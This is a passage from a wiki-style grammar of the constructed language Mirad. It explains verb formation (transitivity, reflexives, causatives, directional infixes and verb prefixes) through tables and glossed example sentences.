::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
